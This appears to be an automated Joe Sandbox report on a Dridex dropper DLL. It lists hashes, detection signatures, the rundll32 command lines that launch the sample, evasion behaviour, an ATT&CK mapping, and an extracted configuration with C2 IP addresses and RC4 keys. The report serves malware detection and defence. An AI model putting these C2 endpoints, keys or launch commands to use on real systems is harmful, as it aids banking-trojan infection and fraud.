Play interactive tour

Edit tour

Analysis Report IHUVPJ4hXu.dll

Overview

General Information

Sample Name:	IHUVPJ4hXu.dll
Analysis ID:	392885
MD5:	5b10d906d4ad48a9910a8cc551b2e697
SHA1:	9995dadc015c2003cdfe34c081a5f185aadb6263
SHA256:	61f03287190b9ce1e91fab24eddc302f411813ac49230d2e99335952eb3addc0
Tags:	40111Dridex
Infos:
Most interesting Screenshot:

Detection

Dridex Dropper

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Dridex dropper found

Found malware configuration

Yara detected Dridex unpacked file

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Abnormal high CPU Usage

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query locales information (e.g. system language)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

loaddll32.exe (PID: 6908 cmdline: loaddll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 6916 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6948 cmdline: rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7032 cmdline: rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',ReadLogRecord MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 1424 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6908 -s 416 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Dridex

{"Version": 40111, "C2 list": ["94.247.168.64:443", "159.203.93.122:8172", "50.116.27.97:2303"], "RC4 keys": ["VOw9c7u110XYjoFF2SzRWNcWNob7Sec1HxEVgBrFF", "5gZeCc8o5cQELWnF44Ik184W6MoZ25O98Rol7kPT2itFWvdxWiT70K4o4YnFUN4mL"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.1042008848.000000006EEB1000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.rundll32.exe.6eeb0000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security
2.2.rundll32.exe.6eeb0000.3.unpack	JoeSecurity_Dridex_1	Yara detected Dridex unpacked file	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 4.2.rundll32.exe.6eeb0000.3.unpack

Malware Configuration Extractor: Dridex {"Version": 40111, "C2 list": ["94.247.168.64:443", "159.203.93.122:8172", "50.116.27.97:2303"], "RC4 keys": ["VOw9c7u110XYjoFF2SzRWNcWNob7Sec1HxEVgBrFF", "5gZeCc8o5cQELWnF44Ik184W6MoZ25O98Rol7kPT2itFWvdxWiT70K4o4YnFUN4mL"]}

Machine Learning detection for sample

Show sources

Source: IHUVPJ4hXu.dll

Joe Sandbox ML: detected

Source: 0.2.loaddll32.exe.2ce0000.1.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 4.2.rundll32.exe.4a00000.2.unpack	Avira: Label: TR/ATRAPS.Gen2
Source: 2.2.rundll32.exe.27f0000.1.unpack	Avira: Label: TR/ATRAPS.Gen2

Source: IHUVPJ4hXu.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: IHUVPJ4hXu.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: opengl32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000009.00000003.979080726.0000000004AD4000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000009.00000003.972506755.0000000000811000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdbk source: WerFault.exe, 00000009.00000003.979080726.0000000004AD4000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000002.00000003.710686303.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.776921181.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: glu32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000002.00000003.710686303.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.776921181.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: fffp4.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp, IHUVPJ4hXu.dll
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000009.00000003.979077309.0000000004AD0000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000009.00000003.972510527.0000000000817000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000009.00000003.972510527.0000000000817000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000009.00000003.979077309.0000000004AD0000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000009.00000003.972506755.0000000000811000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000009.00000003.979077309.0000000004AD0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: a\ojr_oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000009.00000002.985006175.0000000000302000.00000004.00000010.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000009.00000003.972503104.000000000080C000.00000004.00000001.sdmp

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 94.247.168.64:443
Source: Malware configuration extractor	IPs: 159.203.93.122:8172
Source: Malware configuration extractor	IPs: 50.116.27.97:2303

Source: Joe Sandbox View	IP Address: 159.203.93.122 159.203.93.122
Source: Joe Sandbox View	IP Address: 50.116.27.97 50.116.27.97
Source: Joe Sandbox View	IP Address: 94.247.168.64 94.247.168.64

Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS
Source: Joe Sandbox View	ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
Source: Joe Sandbox View	ASN Name: GLESYS-ASSE GLESYS-ASSE

Source: IHUVPJ4hXu.dll

String found in binary or memory: http://ansicon.adoxa.vze.com/6

Source: loaddll32.exe, 00000000.00000002.986524887.000000000105B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Dridex dropper found

Show sources

Source: Initial file

Signature Results: Dridex dropper behavior

Yara detected Dridex unpacked file

Show sources

Source: Yara match	File source: 00000004.00000002.1042008848.000000006EEB1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.6eeb0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.6eeb0000.3.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEC2790 NtAllocateVirtualMemory,	2_2_6EEC2790
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEC218C NtDelayExecution,	2_2_6EEC218C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEBBC00 NtClose,	2_2_6EEBBC00

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEC07CC	2_2_6EEC07CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEB1494	2_2_6EEB1494
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEC92DC	2_2_6EEC92DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEB84E4	2_2_6EEB84E4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEC14D8	2_2_6EEC14D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEBA5A4	2_2_6EEBA5A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EEB9144	2_2_6EEB9144

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6908 -s 416

Source: IHUVPJ4hXu.dll

Binary or memory string: OriginalFilenameANSI32.dll0 vs IHUVPJ4hXu.dll

Source: IHUVPJ4hXu.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: IHUVPJ4hXu.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal80.bank.troj.evad.winDLL@8/4@0/3

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6908

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERA9D8.tmp

Jump to behavior

Source: IHUVPJ4hXu.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',ReadLogRecord
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6908 -s 416
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',ReadLogRecord	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1	Jump to behavior

Source: IHUVPJ4hXu.dll

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: IHUVPJ4hXu.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: opengl32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000009.00000003.979080726.0000000004AD4000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000009.00000003.972506755.0000000000811000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wgdi32full.pdbk source: WerFault.exe, 00000009.00000003.979080726.0000000004AD4000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbUGP source: rundll32.exe, 00000002.00000003.710686303.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.776921181.000000004B280000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: glu32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: rundll32.exe, 00000002.00000003.710686303.000000004B280000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.776921181.000000004B280000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: fffp4.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp, IHUVPJ4hXu.dll
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000009.00000003.979077309.0000000004AD0000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000009.00000003.972510527.0000000000817000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000009.00000003.979065120.0000000004AD7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000009.00000003.972510527.0000000000817000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000009.00000003.979077309.0000000004AD0000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000009.00000003.972506755.0000000000811000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000009.00000003.979077309.0000000004AD0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000009.00000003.979052657.0000000004B01000.00000004.00000001.sdmp
Source:	Binary string: a\ojr_oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000009.00000002.985006175.0000000000302000.00000004.00000010.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000009.00000003.972503104.000000000080C000.00000004.00000001.sdmp

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EEBF744 push esi; mov dword ptr [esp], 00000000h

2_2_6EEBF745

Source: initial sample

Static PE information: section name: .text entropy: 7.55877156847

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to delay execution (extensive OutputDebugStringW loop)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Section loaded: OutputDebugStringW count: 1942

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Show sources

Source: C:\Windows\System32\loaddll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: \KnownDlls32\testapp.exe	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 1077			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 864			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EEC07CC GetTokenInformation,GetSystemInfo,GetTokenInformation,

2_2_6EEC07CC

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: WerFault.exe, 00000009.00000002.985802390.0000000004780000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: WerFault.exe, 00000009.00000002.985802390.0000000004780000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: WerFault.exe, 00000009.00000002.985802390.0000000004780000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: WerFault.exe, 00000009.00000002.985802390.0000000004780000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EEB6DC8 GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_6EEB6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EEC3060 RtlAddVectoredExceptionHandler,

2_2_6EEC3060

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\IHUVPJ4hXu.dll',#1

Jump to behavior

Source: rundll32.exe, 00000002.00000002.1041162889.0000000003190000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1041096923.00000000034F0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: rundll32.exe, 00000002.00000002.1041162889.0000000003190000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1041096923.00000000034F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000002.00000002.1041162889.0000000003190000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1041096923.00000000034F0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000002.00000002.1041162889.0000000003190000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.1041096923.00000000034F0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetUserNameW,MessageBoxW,GetLastError,CreateFileA,DebugBreak,FlushFileBuffers,FreeEnvironmentStringsA,GetConsoleOutputCP,GetEnvironmentStrings,GetLocaleInfoA,GetStartupInfoA,GetStringTypeA,HeapValidate,IsBadReadPtr,LCMapStringA,LoadLibraryA,OutputDebugStringA,

2_2_6EEB6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

2_2_6EEB6DC8

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion21	Input Capture1	Query Registry1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Security Software Discovery111	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Virtualization/Sandbox Evasion21	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing3	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	Account Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Owner/User Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
IHUVPJ4hXu.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.loaddll32.exe.2ce0000.1.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
4.2.rundll32.exe.4a00000.2.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File
2.2.rundll32.exe.27f0000.1.unpack	100%	Avira	TR/ATRAPS.Gen2	Download File

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ansicon.adoxa.vze.com/6	IHUVPJ4hXu.dll	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
159.203.93.122	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
50.116.27.97	unknown	United States	63949	LINODE-APLinodeLLCUS	true
94.247.168.64	unknown	Sweden	43948	GLESYS-ASSE	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	392885
Start date:	19.04.2021
Start time:	23:47:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IHUVPJ4hXu.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
